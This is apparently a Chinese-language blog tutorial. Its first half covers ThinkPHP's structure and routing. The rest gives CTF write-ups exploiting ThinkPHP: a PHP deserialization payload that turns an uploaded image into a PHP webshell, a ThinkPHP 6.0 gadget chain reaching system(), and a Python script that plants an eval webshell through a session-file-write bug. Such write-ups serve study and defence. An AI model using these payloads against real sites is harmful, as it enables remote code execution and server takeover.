最近学习了一些thinkphp的知识,本文记录了一下从小白开始学习Thinkphp并解决相关题目的一些内容(大佬请绕路~)。
ThinkPHP是一个快速、兼容而且简单的轻量级国产PHP开发框架,诞生于2006年初,遵循Apache2开源协议发布,从Struts结构移植过来并做了改进和完善,同时也借鉴了国外很多优秀的框架和模式,使用面向对象的开发结构和MVC模式,融合了Struts的思想和TagLib、RoR的ORM映射和ActiveRecord模式
MVC全名是Model View Controller,是模型(model)-视图(view)-控制器(controller)的缩写,一种软件设计典范,用一种业务逻辑、数据、界面显示分离的方法组织代码
├─application 应用目录(可设置)
│ ├─common 公共模块目录(可更改)
│ ├─index 前台目录
│ │ ├─config.php 模块配置文件
│ │ ├─common.php 模块函数文件
│ │ ├─controller 控制器目录 //负责业务逻辑
│ │ ├─model 模型目录
│ │ ├─view 视图目录 //负责展示
│ │ └─ ... 更多类库目录
│ ├─command.php 命令行工具配置文件
│ ├─common.php 应用公共(函数)文件
│ ├─config.php 应用(公共)配置文件
│ ├─database.php 数据库配置文件
│ ├─tags.php 应用行为扩展定义文件
│ └─route.php 路由配置文件
├─extend 扩展类库目录(可定义)
├─public WEB 部署目录(对外访问目录)
│ ├─static 静态资源存放目录(css,js,image)
│ ├─index.php 应用入口文件
│ ├─router.php 快速测试文件
│ └─.htaccess 用于 apache 的重写
├─runtime 应用的运行时目录(可写,可设置) //缓存目录
├─vendor 第三方类库目录(Composer)
├─thinkphp 框架系统目录
│ ├─lang 语言包目录
│ ├─library 框架核心类库目录
│ │ ├─think Think 类库包目录
│ │ └─traits 系统 Traits 目录
│ ├─tpl 系统模板目录
│ ├─.htaccess 用于 apache 的重写
│ ├─.travis.yml CI 定义文件
│ ├─base.php 基础定义文件
│ ├─composer.json composer 定义文件
│ ├─console.php 控制台入口文件
│ ├─convention.php 惯例配置文件
│ ├─helper.php 助手函数文件(可选)
│ ├─LICENSE.txt 授权说明文件
│ ├─phpunit.xml 单元测试配置文件
│ ├─README.md README 文件
│ └─start.php 框架引导文件
├─build.php 自动生成定义文件(参考)
├─composer.json composer 定义文件
├─LICENSE.txt 授权说明文件
├─README.md README 文件
├─think 命令行入口文件
Thinkphp的入口文件位于public/index.php
,它的作用为:定义框架路径、项目路径(可选)、定义系统相关常量(可选)、载入框架入口文件(必须);我们编写的WEB应用的Controller、View以及Model位于/application
目录下
虽然有很多不同的TP版本,但它们的目录结构大同小异。
TP5.0在没有启用路由的情况下,URL访问大概类似这样:
http://127.0.0.1/thinkphp/public/index.php/index/Index/index
首先,/public/index.php
为入口文件,其后的第一个index
为Index
模块,其对应目录为application/index/
;第二个Index
为Index控制器,对应文件为application/index/Index.php
;第三个index
为Index控制器中的index
方法,其对于与application/index/Index.php
文件的Index
类中的index
方法
在ThinkPHP 5.0 中,只需要给类库正确定义所在的命名空间,并且命名空间的路径与类库文件的目录一致
,那么就可以实现类的自动加载,从而实现真正的惰性加载。
可以这样理解:一个根命名空间对应了一个类库包;系统内置的根命名空间(类库包):
名称 | 描述 | 类库目录 |
---|---|---|
think | 系统核心类库 | thinkphp/library/think |
traits | 系统Trait类库 | thinkphp/library/traits |
app | 应用类库 | application |
我们从官网上下载TP5.0,解压后移动到网站根目录,然后访问public/
:
我们找到其对应的控制器,其位于application/index/controller/Index.php
:
<?php namespace app\index\controller; class Index { public function index() { return '<style type="text/css">*{ padding: 0; margin: 0; } .think_default_text{ padding: 4px 48px;} a{color:#2E5CD5;cursor: pointer;text-decoration: none} a:hover{text-decoration:underline; } body{ background: #fff; font-family: "Century Gothic","Microsoft yahei"; color: #333;font-size:18px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.6em; font-size: 42px }</style><div style="padding: 24px 48px;"> <h1>:)</h1><p> ThinkPHP V5<br/><span style="font-size:30px">十年磨一剑 - 为API开发设计的高性能框架</span></p><span style="font-size:22px;">[ V5.0 版本由 <a href="http://www.qiniu.com" target="qiniu">七牛云</a> 独家赞助发布 ]</span></div><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_bd568ce7058a1091"></thinkad>'; } }
首先它声明了它的命名空间为app\index\controller
,这和它所在路径名称对应相同,便可实现这个类的自动加载
接着我们在这个类中添加个test方法:
public function test() { return 'Hello World'; }
然后访问,可以成功调用:
我们上面做了个测试,要访问test方法,需要输入下面的URL:
http://127.0.0.1/thinkphp/public/index.php/index/index/test
但这样访问的URL,无论是对客户还是开发者,都可能会觉得这样的URL看起来不简洁,简化URL可以使我们更加方便记忆,也有利于爬虫抓取;那么我们可通过以下途径来简化URL
我们直接用上述环境省去index.php访问,发现可以成功访问:
找到/public
目录,查看隐藏文件,可发现.htaccess
文件:
其内容为:
<IfModule mod_rewrite.c>
Options +FollowSymlinks -Multiviews
RewriteEngine On
RewriteCond %{REQUEST_FILENAME} !-d
RewriteCond %{REQUEST_FILENAME} !-f
RewriteRule ^(.*)$ index.php/$1 [QSA,PT,L]
</IfModule>
意思就是如果没有检测出请求的是目录/文件,就会在请求的路径前加上index.php
访问,对于Apache .htaccess详细的配置,可参考这篇文章
如果测试以上内容失败,需要检查Apache是否配置了rewrite重写
在public/index.php
中的define...
和require...
中间加入:
define("BIND_MODULE", "index");
这样index.php便和index模块绑定在了一起,访问的时候便可直接忽略掉模块;由于.htaccess的配置可忽略掉入口的index.php,那么便可直接访问/控制器/方法
:
路由模式共有三种:
我们找到其配置文件,位于application/config.php
,搜索关键字route
,可以搜索到:
// 是否开启路由
'url_route_on' => true,
// 是否强制使用路由
'url_route_must' => false,
那么它默认采用的模式为混合模式;可更改上面这两个配置来更改路由模式。
路由注册可以采用方法动态单个和批量注册,也可以直接定义路由定义文件的方式进行集中注册。这里就简单介绍一下动态单个注册的方法
首先找到路由配置文件,位于application/route.php
,将原有内容注释掉,然后写入:
// 引入系统类
use think\Route;
// 定义路由规则
Route::rule('gtfly', 'index/index/test');
路由规则为:
Route::rule('路由表达式','路由地址','请求类型','路由参数(数组)','变量规则(数组)');
那么我们上面的配置即配置了路径/gtfly
到index/index/test
的映射:
系统提供了为不同的请求类型定义路由规则的简化方法,例如:
Route::get(); // 定义GET请求路由规则
Route::post(); // 定义POST请求路由规则
Route::put(); // 定义PUT请求路由规则
Route::delete(); // 定义DELETE请求路由规则
Route::any(); // 所有请求都支持的路由规则
接着如果还想把/public
目录给隐藏了,只需在Apache配置文件中进行相应配置即可。
当然上述配置只是thinkphp的冰山一角,详细的配置还是建议去阅读官方手册
首先根据注册和登录时的页面可推断出其使用了thinkphp:
登录后只有一个上传功能;扫描路径发现源码
下载源码后用VScode打开,通过README.md可以知道用的是ThinkPHP5.1 LTS版本;查看route/route.php
看到其定义的路由:
(最后的miss路由的意思是当没有匹配到所有的路由规则后,会路由到miss路由地址)
可以看到,所有的路由都指向了web
这个模块,该模块下共有四个控制器,我们先来看其处理上传图片的方法:
它判断如果上传了文件,那么就会将文件以md5(文件名)改名,并且将后缀拼接上.png
,改完名后进行了一次后缀名检测和对ext的赋值:
如果上传了图片,那么ext肯定是有值的,接着便会用getimagesize
读取上传的文件前十几个字节来判断是否为图片,之后将filename_tmp
指向的内容复制到filename
那么如果我们先上传一个图片马,令filename_tmp
等于这个图片马的路径,再令filename
等于xxx.php
,这样经过copy后便可实现RCE;但如果直接上传文件的话,filename
的后缀会一直都是.png
,无法实现更改后缀。因此需要观察其他的利用点
在Index.php中,发现有一处使用了反序列化,并且没有进行任何过滤:
那么寻找这些类中的魔法方法,
Register.php:
Profile.php:
这些方法的含义:
__get():读取不可访问属性的值时,`__get()`会被调用
__call():在对象中调用一个不可访问的方法时,`__call()`会被调用
__destruct():在到某个对象的所有引用都被删除或者当对象被显式销毁时执行
我们让Register
类中的$this->checker
等于Profile
,那么Register
类销毁时会调用index
方法,从而触发__call
方法,此时__call
方法接收的$name
变量为index
,在判断时,由于不存在$this->index
,便会触发__get
,此时__get
方法接收的$name
变量也为index
,它会返回$this->except['index']
,那么我们可以构造except
为一个数组,键名为index
,值为我们要触发的函数名,返回函数名后,便会调用$this->{$this->{$name}}($arguments);
,由于$arguments
为空,那么这句话的意思就是调用__get
返回的这个函数
单独简化一下,大概就是这样:
那么首先我们上传一个图片马,拿到其地址,接着构造payload:
<?php namespace app\web\controller; class Profile{ public $checker = 0; public $filename_tmp = '/var/www/html/public/upload/48cd8b43081896fbd0931d204f947663/1f3a5130dd672681e411c19069a4cc98.png'; public $filename = '/var/www/html/public/upload/48cd8b43081896fbd0931d204f947663/xxx.php'; public $upload_menu; public $ext = 1; public $img; public $except = ['index' => 'upload_img']; } namespace app\web\controller; class Register{ public $checker; public $registed = 0; } $a = new Register(); $b = new Profile(); $a->checker = $b; echo base64_encode(serialize($a));
将生成的cookie进行替换:
虽然显示系统发生错误,但可以成功访问木马:
拿到题目,扫描发现源码,使用的框架为thinkphp6.0
只有一个Index控制器:
<?php namespace app\controller; use app\BaseController; class Index extends BaseController { public function index() { echo "<img src='../test.jpg'"."/>"; $paylaod = @$_GET['payload']; if(isset($paylaod)) { $url = parse_url($_SERVER['REQUEST_URI']); parse_str($url['query'],$query); foreach($query as $value) { if(preg_match("/^O/i",$value)) { die('STOP HACKING'); exit(); } } unserialize($paylaod); } } }
它将我们传入的参数进行检测后进行了反序列化,检测我们的参数中不能出现O
,对于parse_url
,在host后面添加两个斜线便可使parse_url
失效
由于不存在其他的控制器,我们就要从这个框架本身去挖掘其隐藏的反序列化利用链;对于反序列化,常见的起点函数有:
__wakeup
__destruct
__toString
在VScode中,按住Ctrl+Shift+F
全局搜索__destruct
,可以发现主要有两条利用链,这里说一下思路
利用链1
入口点在vendor/topthink/think-orm/src/Model.php
的__destruct
方法中,整个利用链主要涉及到了三个类,分别是abstract class Model
,trait Conversion
和trait Attribute
;由于Model类是抽象类,不能被实例化,那么可以找到该类的子类,其位于vendor/topthink/think-orm/src/model/Pivot.php
;同样,trait类是复用类,也是不能被实例化的,可以找到复用它的类来实例化
先说一下整个触发链:
save()
=> updateData()
=> checkAllowFields()
=> __tostring()
=> toJson()
=> toArray()
=> getAttr()
=> getValue()
具体就不一张一张截图了,可以用VScode或PHPStorm等审计工具一步步跳转定义或引用来实现跟踪;这里将利用到的代码整合到一起:
//Model.php;Model类为抽象类,Pivot为其子类 public function __destruct() { if ($this->lazySave) { $this->save(); } } //Model.php; public function save(array $data = [], string $sequence = null): bool { $result = $this->exists ? $this->updateData() : $this->insertData($sequence); } //Model.php; protected function updateData(): bool { $allowFields = $this->checkAllowFields(); } //Model.php; protected function checkAllowFields(): array { $table = $this->table ? $this->table . $this->suffix : $query->getTable(); } //Conversion.php;复用类,Model类中复用该类 public function __toString() { return $this->toJson(); } //Conversion.php public function toJson(int $options = JSON_UNESCAPED_UNICODE): string { return json_encode($this->toArray(), $options); } //Conversion.php public function toArray(): array { $item[$key] = $this->getAttr($key); } //Attribute.php;复用类,Model类中复用该类 public function getAttr(string $name) { return $this->getValue($name, $value, $relation); } //Attribute.php;令$closure为system,便可getshell protected function getValue(string $name, $value, $relation = false) { $closure = $this->withAttr[$fieldName]; $value = $closure($value, $this->data); }
只需按照上述流程,更改这些类中的属性,使上述流程能够进行,便可getshell
利用链2
这个利用链在年初被赵师傅改成了2020 新春红包题
在BUU上,这里就不细说了,可参考相关wp:http://www.gtfly.top/2020/01/29/2020-01-29-2020BuuCTF%E6%96%B0%E6%98%A5%E7%BA%A2%E5%8C%85%E9%A2%98/
通过扫描发现目标存在源码泄露;查看目标thinkphp版本为6.0,搜到该版本存在通过session写文件的bug,具体分析可参考已有师傅分析过的文章:
https://xz.aliyun.com/t/7131
即session后缀是我们可控的,那么只要在写入session时数据我们可控,便可进行写shell;查看控制器,其主要逻辑代码位于app/home/controller/Member.php
这个控制器内。Member控制器的search方法有这样一个判断:
if (!session('?UID')){ return redirect('/home/member/login'); } $data = input("post.");$record = session("Record");if (!session("Record")){ session("Record",$data["key"]);}
只有这个地方存在任意session写入,那么我们要绕过第一个判断,也就是说要存在一个session文件,含有UID这个字段;那么接着找将UID写入session的点;
在login方法中找到:
if ($userId){ session("UID",$userId); return redirect("/home/member/index"); }
要满足条件为正确的用户名和密码,因此构造可执行的php文件思路为:
1.正常注册一个账号
2.登陆时更改sessid为.php
结尾(满足长度32位)
3.用相同的cookie向home/member/search
POST一句话
4.在/runtime/session/
中找到我们的马
import requests url_reg = 'http://xxx/home/member/register' url_log = 'http://xxx/home/member/login' url_sea = 'http://xxx/home/member/search' headers = { 'Cookie':'PHPSESSID=1234567890123456789012345678.php' } data1 = {'username':'gtfly', 'password':'123456'} data2 = {'key':'<?php @eval($_POST["t"]);echo "not flag"; ?>'} s1 = requests.post(url_reg, data1) s2 = requests.post(url_log, data1, headers=headers) s3 = requests.post(url_sea, data2, headers=headers) test = 'http://xxx/runtime/session/sess_1234567890123456789012345678.php' s = requests.get(test).text if 'not flag' in s: print('success') else: print('failed')
之后绕过disable functions即可
如上述内容存在错误还望师傅们指正
https://xz.aliyun.com/t/6924#toc-9
https://xz.aliyun.com/t/7131